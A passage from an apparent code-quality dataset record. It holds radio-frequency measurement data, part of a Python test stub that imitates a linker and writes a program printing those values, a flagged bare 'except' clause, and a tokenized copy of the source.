1991600 : 641 : -66.415421 \n210 : 1991800 : 641 : -66.415421 \n211 : 1992000 : 641 : -66.415421 \n212 : 1992200 : 642 : -66.387634 \n213 : 1992400 : 645 : -66.304276 \n214 : 1992600 : 644 : -66.332062 \n215 : 1992800 : 643 : -66.359848 \n216 : 1993000 : 642 : -66.387634 \n217 : 1993200 : 642 : -66.387634 \n218 : 1993400 : 640 : -66.443207 \n219 : 1993600 : 640 : -66.443207 \n220 : 1993800 : 641 : -66.415421 \n221 : 1994000 : 645 : -66.304276 \n222 : 1994200 : 644 : -66.332062 \n223 : 1994400 : 641 : -66.415421 \n224 : 1994600 : 641 : -66.415421 \n225 : 1994800 : 643 : -66.359848 \n226 : 1995000 : 642 : -66.387634 \n227 : 1995200 : 641 : -66.415421 \n228 : 1995400 : 640 : -66.443207 \n229 : 1995600 : 640 : -66.443207 \n230 : 1995800 : 641 : -66.415421 \n231 : 1996000 : 644 : -66.332062 \n232 : 1996200 : 641 : -66.415421 \n233 : 1996400 : 640 : -66.443207 \n234 : 1996600 : 641 : -66.415421 \n235 : 1996800 : 642 : -66.387634 \n236 : 1997000 : 641 : -66.415421 \n237 : 1997200 : 642 : -66.387634 \n238 : 1997400 : 640 : -66.443207 \n239 : 1997600 : 641 : -66.415421 \n240 : 1997800 : 642 : -66.387634 \n241 : 1998000 : 642 : -66.387634 \n242 : 1998200 : 644 : -66.332062 \n243 : 1998400 : 644 : -66.332062 \n244 : 1998600 : 642 : -66.387634 \n245 : 1998800 : 644 : -66.332062 \n246 : 1999000 : 645 : -66.304276 \n247 : 1999200 : 642 : -66.387634 \n248 : 1999400 : 641 : -66.415421 \n249 : 1999600 : 640 : -66.443207 \n250 : 1999800 : 642 : -66.387634 \n251 : 2000000 : 641 : -66.415421 \n252 : 2000200 : 644 : -66.332062 \n253 : 2000400 : 640 : -66.443207 \n254 : 2000600 : 641 : -66.415421 \n255 : 2000800 : 640 : -66.443207 \n256 : 2001000 : 644 : -66.332062 \n257 : 2001200 : 642 : -66.387634 \n258 : 2001400 : 642 : -66.387634 \n259 : 2001600 : 642 : -66.387634 \n260 : 2001800 : 642 : -66.387634 \n261 : 2002000 : 642 : -66.387634 \n262 : 2002200 : 643 : -66.359848 \n263 : 2002400 : 641 : -66.415421 \n264 : 2002600 : 641 : -66.415421 \n265 : 2002800 : 643 : -66.359848 \n266 : 2003000 : 643 : -66.359848 \n267 : 2003200 : 642 : -66.387634 \n268 : 2003400 : 642 : -66.387634 \n269 : 2003600 : 643 : -66.359848 \n270 : 2003800 : 644 : -66.332062 \n271 : 2004000 : 641 : -66.415421 \n272 : 2004200 : 641 : -66.415421 \n273 : 2004400 : 640 : -66.443207 \n274 : 2004600 : 638 : -66.498787 \n275 : 2004800 : 648 : -66.220909 \n276 : 2005000 : 640 : -66.443207 \n277 : 2005200 : 638 : -66.498787 \n278 : 2005400 : 649 : -66.193123 \n279 : 2005600 : 641 : -66.415421 \n280 : 2005800 : 644 : -66.332062 \n281 : 2006000 : 642 : -66.387634 \n282 : 2006200 : 640 : -66.443207 \n283 : 2006400 : 642 : -66.387634 \n284 : 2006600 : 641 : -66.415421 \n285 : 2006800 : 643 : -66.359848 \n286 : 2007000 : 641 : -66.415421 \n287 : 2007200 : 640 : -66.443207 \n288 : 2007400 : 640 : -66.443207 \n289 : 2007600 : 641 : -66.415421 \n290 : 2007800 : 640 : -66.443207 \n291 : 2008000 : 642 : -66.387634 \n292 : 2008200 : 644 : -66.332062 \n293 : 2008400 : 643 : -66.359848 \n294 : 2008600 : 643 : -66.359848 \n295 : 2008800 : 641 : -66.415421 \n296 : 2009000 : 640 : -66.443207 \n297 : 2009200 : 643 : -66.359848 \n298 : 2009400 : 643 : -66.359848 \n299 : 2009600 : 642 : -66.387634 \n300 : 2009800 : 642 : -66.387634 \n301 : 2010000 : 642 : -66.387634 \n302 : 2010200 : 640 : -66.443207 \n303 : 2010400 : 641 : -66.415421 \n304 : 2010600 : 641 : -66.415421 \n305 : 2010800 : 641 : -66.415421 \n306 : 2011000 : 641 : -66.415421 \n307 : 2011200 : 641 : -66.415421 \n308 : 2011400 : 641 : -66.415421 \n309 : 2011600 : 641 : -66.415421 \n310 : 2011800 : 643 : -66.359848 \n311 : 2012000 : 641 : -66.415421 \n312 : 2012200 : 640 : -66.443207 \n313 : 2012400 : 640 : -66.443207 \n314 : 2012600 : 640 : -66.443207 \n315 : 2012800 : 641 : -66.415421 \n316 : 2013000 : 641 : -66.415421 \n317 : 2013200 : 641 : -66.415421 \n318 : 2013400 : 640 : -66.443207 \n319 : 2013600 : 642 : -66.387634 \n320 : 2013800 : 643 : -66.359848 \n321 : 2014000 : 642 : -66.387634 \n322 : 2014200 : 641 : -66.415421 \n323 : 2014400 : 642 : -66.387634 \n324 : 2014600 : 644 : -66.332062 \n325 : 2014800 : 641 : -66.415421 \n326 : 2015000 : 641 : -66.415421 \n327 : 2015200 : 644 : -66.332062 \n328 : 2015400 : 643 : -66.359848 \n329 : 2015600 : 640 : -66.443207 \n330 : 2015800 : 640 : -66.443207 \n331 : 2016000 : 642 : -66.387634 \n332 : 2016200 : 640 : -66.443207 \n333 : 2016400 : 643 : -66.359848 \n334 : 2016600 : 642 : -66.387634 \n335 : 2016800 : 641 : -66.415421 \n336 : 2017000 : 642 : -66.387634 \n337 : 2017200 : 641 : -66.415421 \n338 : 2017400 : 641 : -66.415421 \n339 : 2017600 : 640 : -66.443207 \n340 : 2017800 : 642 : -66.387634 \n341 : 2018000 : 641 : -66.415421 \n342 : 2018200 : 641 : -66.415421 \n343 : 2018400 : 642 : -66.387634 \n344 : 2018600 : 640 : -66.443207 \n345 : 2018800 : 640 : -66.443207 \n346 : 2019000 : 641 : -66.415421 \n347 : 2019200 : 641 : -66.415421 \n348 : 2019400 : 641 : -66.415421 \n349 : 2019600 : 641 : -66.415421 \n350 : 2019800 : 640 : -66.443207 \n351 : 2020000 : 640 : -66.443207 \n352 : 2020200 : 640 : -66.443207 \n353 : 2020400 : 641 : -66.415421 \n354 : 2020600 : 640 : -66.443207 \n355 : 2020800 : 641 : -66.415421 \n356 : 2021000 : 644 : -66.332062 \n357 : 2021200 : 641 : -66.415421 \n358 : 2021400 : 640 : -66.443207 \n359 : 2021600 : 640 : -66.443207 \n360 : 2021800 : 640 : -66.443207 \n361 : 2022000 : 640 : -66.443207 \n362 : 2022200 : 640 : -66.443207 \n363 : 2022400 : 640 : -66.443207 \n364 : 2022600 : 641 : -66.415421 \n365 : 2022800 : 642 : -66.387634 \n366 : 2023000 : 641 : -66.415421 \n367 : 2023200 : 641 : -66.415421 \n368 : 2023400 : 640 : -66.443207 \n369 : 2023600 : 640 : -66.443207 \n370 : 2023800 : 640 : -66.443207 \n371 : 2024000 : 641 : -66.415421 \n372 : 2024200 : 641 : -66.415421 \n373 : 2024400 : 640 : -66.443207 \n374 : 2024600 : 640 : -66.443207 \n375 : 2024800 : 638 : -66.498787 \n376 : 2025000 : 650 : -66.165337 \n377 : 2025200 : 642 : -66.387634 \n378 : 2025400 : 643 : -66.359848 \n379 : 2025600 : 641 : -66.415421 \n380 : 2025800 : 640 : -66.443207 \n381 : 2026000 : 643 : -66.359848 \n382 : 2026200 : 642 : -66.387634 \n383 : 2026400 : 640 : -66.443207 \n384 : 2026600 : 640 : -66.443207 \n385 : 2026800 : 641 : -66.415421 \n386 : 2027000 : 641 : -66.415421 \n387 : 2027200 : 641 : -66.415421 \n388 : 2027400 : 641 : -66.415421 \n389 : 2027600 : 641 : -66.415421 \n390 : 2027800 : 641 : -66.415421 \n391 : 2028000 : 640 : -66.443207 \n392 : 2028200 : 644 : -66.332062 \n393 : 2028400 : 643 : -66.359848 \n394 : 2028600 : 642 : -66.387634 \n395 : 2028800 : 642 : -66.387634 \n396 : 2029000 : 642 : -66.387634 \n397 : 2029200 : 641 : -66.415421 \n398 : 2029400 : 640 : -66.443207 \n399 : 2029600 : 640 : -66.443207 \n400 : 2029800 : 640 : -66.443207 \n401 : 2030000 : 640 : -66.443207 \n402 : 2030200 : 641 : -66.415421 \n403 : 2030400 : 641 : -66.415421 \n404 : 2030600 : 640 : -66.443207 \n405 : 2030800 : 641 : -66.415421 \n406 : 2031000 : 642 : -66.387634 \n407 : 2031200 : 641 : -66.415421 \n408 : 2031400 : 641 : -66.415421 \n409 : 2031600 : 641 : -66.415421 \n410 : 2031800 : 642 : -66.387634 \n411 : 2032000 : 644 : -66.332062 \n412 : 2032200 : 640 : -66.443207 \n413 : 2032400 : 640 : -66.443207 \n414 : 2032600 : 641 : -66.415421 \n415 : 2032800 : 640 : -66.443207 \n416 : 2033000 : 641 : -66.415421 \n417 : 2033200 : 640 : -66.443\n207 \n418 : 2033400 : 640 : -66.443207 \n419 : 2033600 : 640 : -66.443207 \n420 : 2033800 : 640 : -66.443207 \n421 : 2034000 : 641 : -66.415421 \n422 : 2034200 : 643 : -66.359848 \n423 : 2034400 : 642 : -66.387634 \n424 : 2034600 : 643 : -66.359848 \n425 : 2034800 : 644 : -66.332062 \n426 : 2035000 : 642 : -66.387634 \n427 : 2035200 : 641 : -66.415421 \n428 : 2035400 : 640 : -66.443207 \n429 : 2035600 : 641 : -66.415421 \n430 : 2035800 : 640 : -66.443207 \n431 : 2036000 : 641 : -66.415421 \n432 : 2036200 : 644 : -66.332062 \n433 : 2036400 : 642 : -66.387634 \n434 : 2036600 : 642 : -66.387634 \n435 : 2036800 : 640 : -66.443207 \n436 : 2037000 : 640 : -66.443207 \n437 : 2037200 : 640 : -66.443207 \n438 : 2037400 : 640 : -66.443207 \n439 : 2037600 : 638 : -66.498787 \n440 : 2037800 : 648 : -66.220909 \n441 : 2038000 : 641 : -66.415421 \n442 : 2038200 : 641 : -66.415421 \n443 : 2038400 : 642 : -66.387634 \n444 : 2038600 : 641 : -66.415421 \n445 : 2038800 : 640 : -66.443207 \n446 : 2039000 : 640 : -66.443207 \n447 : 2039200 : 642 : -66.387634 \n448 : 2039400 : 642 : -66.387634 \n449 : 2039600 : 642 : -66.387634 \n450 : 2039800 : 641 : -66.415421 \n451 : 2040000 : 643 : -66.359848 \n452 : 2040200 : 641 : -66.415421 \n453 : 2040400 : 640 : -66.443207 \n454 : 2040600 : 642 : -66.387634 \n455 : 2040800 : 642 : -66.387634 \n456 : 2041000 : 640 : -66.443207 \n457 : 2041200 : 640 : -66.443207 \n458 : 2041400 : 640 : -66.443207 \n459 : 2041600 : 641 : -66.415421 \n460 : 2041800 : 641 : -66.415421 \n461 : 2042000 : 641 : -66.415421 \n462 : 2042200 : 640 : -66.443207 \n463 : 2042400 : 640 : -66.443207 \n464 : 2042600 : 640 : -66.443207 \n465 : 2042800 : 640 : -66.443207 \n466 : 2043000 : 640 : -66.443207 \n467 : 2043200 : 640 : -66.443207 \n468 : 2043400 : 640 : -66.443207 \n469 : 2043600 : 640 : -66.443207 \n470 : 2043800 : 640 : -66.443207 \n471 : 2044000 : 640 : -66.443207 \n472 : 2044200 : 640 : -66.443207 \n473 : 2044400 : 640 : -66.443207 \n474 : 2044600 : 641 : -66.415421 \n475 : 2044800 : 644 : -66.332062 \n476 : 2045000 : 642 : -66.387634 \n477 : 2045200 : 641 : -66.415421 \n478 : 2045400 : 643 : -66.359848 \n479 : 2045600 : 642 : -66.387634 \n480 : 2045800 : 642 : -66.387634 \n481 : 2046000 : 641 : -66.415421 \n482 : 2046200 : 643 : -66.359848 \n483 : 2046400 : 641 : -66.415421 \n484 : 2046600 : 641 : -66.415421 \n485 : 2046800 : 641 : -66.415421 \n486 : 2047000 : 642 : -66.387634 \n487 : 2047200 : 643 : -66.359848 \n488 : 2047400 : 642 : -66.387634 \n489 : 2047600 : 643 : -66.359848 \n490 : 2047800 : 643 : -66.359848 \n491 : 2048000 : 643 : -66.359848 \n492 : 2048200 : 642 : -66.387634 \n493 : 2048400 : 644 : -66.332062 \n494 : 2048600 : 645 : -66.304276 \n495 : 2048800 : 645 : -66.304276 \n496 : 2049000 : 642 : -66.387634 \n497 : 2049200 : 641 : -66.415421 \n498 : 2049400 : 641 : -66.415421 \n499 : 2049600 : 641 : -66.415421 \n500 : 2049800 : 642 : -66.387634 \n501 : 2050000 : 642 : -66.387634 \n\"\"\"\n f.write(\"\"\"#!/usr/bin/python\n\nimport time\n\nprint \"\"\\\"%s\"\"\\\"\nopen(\"gpib.txt\",\"w\").write(\"\"\\\"%s\"\"\\\")\n\ntime.sleep(5)\n\n\"\"\" %\n (stdout_lines, source_lines))\n f.close()\n except Exception, e:\n import traceback\n print traceback.print_stack(e)\n\n if hasattr(os, 'chmod'):\n try:\n os.chmod(fname, 0755)\n except:\n pass\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 567, "start_column": 8, "end_line": 567, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2005", " ", "on", "ward", "s", " ", "Univers", "it", "y", " ", "of", " ", "De", "ust", "o_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "software", " ", "is", " ", "license", "d", " ", "as", " ", "descri", "bed", " ", "in", " ", "the", " ", "file", " ", "COPY", "ING", ",", " ", "which_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "shou", "ld", " ", "have", " ", "receive", "d", " ", "as", " ", "part", " ", "of", " ", "this", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "software", " ", "consi", "sts", " ", "of", " ", "contributions", " ", "made", " ", "by", " ", "many", " ", "individual", "s", ",", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "liste", "d", " ", "belo", "w", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", ":", " ", "Pa", "blo", " ", "Ord", "u", "\\", "241", ";", "a", " ", "<", "pab", "lo", "@", "ord", "un", "ya", ".", "com", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "len_", "(_", "sys_", "._", "argv_", ")_", "==_", "11_", ",_", "\"", "Linke", "r", " ", "example", ":", " ", "ilin", "k3", "2", " ", "-", "Tp", "e", " ", "-", "c", " ", "what", "ever", ".", "obj", " ", "c0", "x3", "2", ",", " ", "what", "ever", ".", "exe", ",", " ", ",", " ", "visa", "32", " ", "import", "32", " ", "cw", "32", " ", "bids", "f", " ", "\\\\", "n", "\\\\", "\\", "10", ";", "Got", " ", "%", "s", " ", "argu", "ment", "s", ";", " ", "\\\\\"", "%", "s", "\\\\\"\"_", "%_", "(_", "len_", "(_", "sys_", "._", "argv_", ")_", ",_", "'", " ", "'_", "._", "join_", "(_", "sys_", "._", "argv_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assert", " ", "sys", ".", "argv", "[", "0", "]", " ", "==", " ", "'", "ilin", "k3", "2", "'", " ", "#", "Not", " ", "in", " ", "the", " ", "fake", " ", "version_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "1_", "]_", "==_", "'-", "Tp", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "2_", "]_", "==_", "'-", "c", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "3_", "]_", "[_", "-_", "4_", ":_", "]_", "._", "lower_", "(_", ")_", "==_", "'.", "obj", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "4_", "]_", "==_", "'", "c0", "x3", "2", ",'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "5_", "]_", "[_", "-_", "5_", ":_", "]_", "._", "lower_", "(_", ")_", "==_", "'.", "exe", ",'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "6_", "]_", "==_", "','_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "7_", "]_", "==_", "'", "visa", "32", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "8_", "]_", "==_", "'", "import", "32", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "9_", "]_", "==_", "'", "cw", "32", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "sys_", "._", "argv_", "[_", "10_", "]_", "==_", "'", "bids", "f", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fname_", "=_", "sys_", "._", "argv_", "[_", "5_", "]_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "fname_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source", "\\u", "lines_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdout", "\\u", "lines_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "50_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", "source", "\\u", "lines", " ", "+=", " ", "\"", "content", " ", "sample", " ", "line", " ", "%", "i", "\\\\\\\\", "n", "\"", " ", "%", " ", "i_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stdout", "\\u", "lines_", "+=_", "\"", "stdout", " ", "sample", " ", "line", " ", "%", "i", "\\\\\\\\", "n", "\"_", "%_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source", "\\u", "lines_", "=_", "\"\"\"", "El", " ", "nivel", " ", "del", " ", "marker", " ", "-", "66.", "389", " ", "d", "Bm", "\\", "10", ";", "PT", "O", " ", ":", " ", " ", " ", " ", "FRE", "C", " ", " ", " ", " ", ":", " ", "VAL", "OR", ":", " ", "d", "Bm", "\\", "10", ";", "==============", "==============", "==============", "==============", "====", "\\", "10", ";", "\\", "10", ";", " ", " ", "1", " ", ":", " ", " ", " ", " ", "1950", "000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", " ", "2", " ", ":", " ", " ", " ", " ", "1950", "200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", " ", " ", "3", " ", ":", " ", " ", " ", " ", "1950", "400", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", " ", "4", " ", ":", " ", " ", " ", " ", "1950", "600", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", " ", "5", " ", ":", " ", " ", " ", " ", "1950", "800", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", " ", "6", " ", ":", " ", " ", " ", " ", "195", "1000", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", " ", " ", "7", " ", ":", " ", " ", " ", " ", "195", "1200", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", " ", " ", "8", " ", ":", " ", " ", " ", " ", "195", "1400", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", " ", "9", " ", ":", " ", " ", " ", " ", "195", "1600", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "10", " ", ":", " ", " ", " ", " ", "195", "1800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "11", " ", ":", " ", " ", " ", " ", "195", "2000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "1", "2", " ", ":", " ", " ", " ", " ", "195", "2200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "13", " ", ":", " ", " ", " ", " ", "195", "2400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "14", " ", ":", " ", " ", " ", " ", "195", "2600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "15", " ", ":", " ", " ", " ", " ", "195", "2800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "16", " ", ":", " ", " ", " ", " ", "195", "3000", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "1", "7", " ", ":", " ", " ", " ", " ", "195", "3200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", " ", "1", "8", " ", ":", " ", " ", " ", " ", "195", "3400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "1", "9", " ", ":", " ", " ", " ", " ", "195", "3600", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", " ", "20", " ", ":", " ", " ", " ", " ", "195", "380", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "21", " ", ":", " ", " ", " ", " ", "195", "4000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "2", "2", " ", ":", " ", " ", " ", " ", "195", "4200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "23", " ", ":", " ", " ", " ", " ", "195", "440", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "24", " ", ":", " ", " ", " ", " ", "195", "460", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "25", " ", ":", " ", " ", " ", " ", "195", "4800", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "2", "6", " ", ":", " ", " ", " ", " ", "195", "5000", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "2", "7", " ", ":", " ", " ", " ", " ", "195", "520", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "2", "8", " ", ":", " ", " ", " ", " ", "195", "540", "0", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", " ", "2", "9", " ", ":", " ", " ", " ", " ", "195", "560", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", " ", "30", " ", ":", " ", " ", " ", " ", "195", "580", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "3", "1", " ", ":", " ", " ", " ", " ", "195", "6000", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", " ", "32", " ", ":", " ", " ", " ", " ", "195", "620", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "3", "3", " ", ":", " ", " ", " ", " ", "195", "640", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "3", "4", " ", ":", " ", " ", " ", " ", "195", "660", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "3", "5", " ", ":", " ", " ", " ", " ", "195", "680", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "3", "6", " ", ":", " ", " ", " ", " ", "195", "7000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "3", "7", " ", ":", " ", " ", " ", " ", "195", "7200", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "3", "8", " ", ":", " ", " ", " ", " ", "195", "740", "0", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "3", "9", " ", ":", " ", " ", " ", " ", "195", "760", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "40", " ", ":", " ", " ", " ", " ", "195", "780", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "4", "1", " ", ":", " ", " ", " ", " ", "195", "800", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "4", "2", " ", ":", " ", " ", " ", " ", "195", "820", "0", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "4", "3", " ", ":", " ", " ", " ", " ", "195", "840", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "4", "4", " ", ":", " ", " ", " ", " ", "195", "860", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "4", "5", " ", ":", " ", " ", " ", " ", "195", "880", "0", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "4", "6", " ", ":", " ", " ", " ", " ", "195", "9000", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "4", "7", " ", ":", " ", " ", " ", " ", "195", "9200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "4", "8", " ", ":", " ", " ", " ", " ", "195", "940", "0", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "4", "9", " ", ":", " ", " ", " ", " ", "195", "9600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "50", " ", ":", " ", " ", " ", " ", "195", "980", "0", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", " ", "5", "1", " ", ":", " ", " ", " ", " ", "1960", "000", " ", ":", " ", " ", "645", " ", ":", " ", "-", "66.", "304", "276", " ", "\\", "10", ";", " ", "5", "2", " ", ":", " ", " ", " ", " ", "1960", "200", " ", ":", " ", " ", "643", " ", ":", " ", "-", "66.", "359", "848", " ", "\\", "10", ";", " ", "5", "3", " ", ":", " ", " ", " ", " ", "1960", "400", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "5", "4", " ", ":", " ", " ", " ", " ", "1960", "600", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "5", "5", " ", ":", " ", " ", " ", " ", "1960", "800", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "56", " ", ":", " ", " ", " ", " ", "196", "1000", " ", ":", " ", " ", "644", " ", ":", " ", "-", "66.", "332", "062", " ", "\\", "10", ";", " ", "5", "7", " ", ":", " ", " ", " ", " ", "196", "1200", " ", ":", " ", " ", "642", " ", ":", " ", "-", "66.", "387", "634", " ", "\\", "10", ";", " ", "5", "8", " ", ":", " ", " ", " ", " ", "196", "1400", " ", ":", " ", " ", "641", " ", ":", " ", "-", "66.", "415", "421", " ", "\\", "10", ";", " ", "5", "9", " ", ":", " ", " ", " ", " ", "196", "1600", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "60", " ", ":", " ", " ", " ", " ", "196", "1800", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "6", "1", " ", ":", " ", " ", " ", " ", "196", "2000", " ", ":", " ", " ", "640", " ", ":", " ", "-", "66.", "443", "207", " ", "\\", "10", ";", " ", "6", "2", " ", ":", " ", " ", " 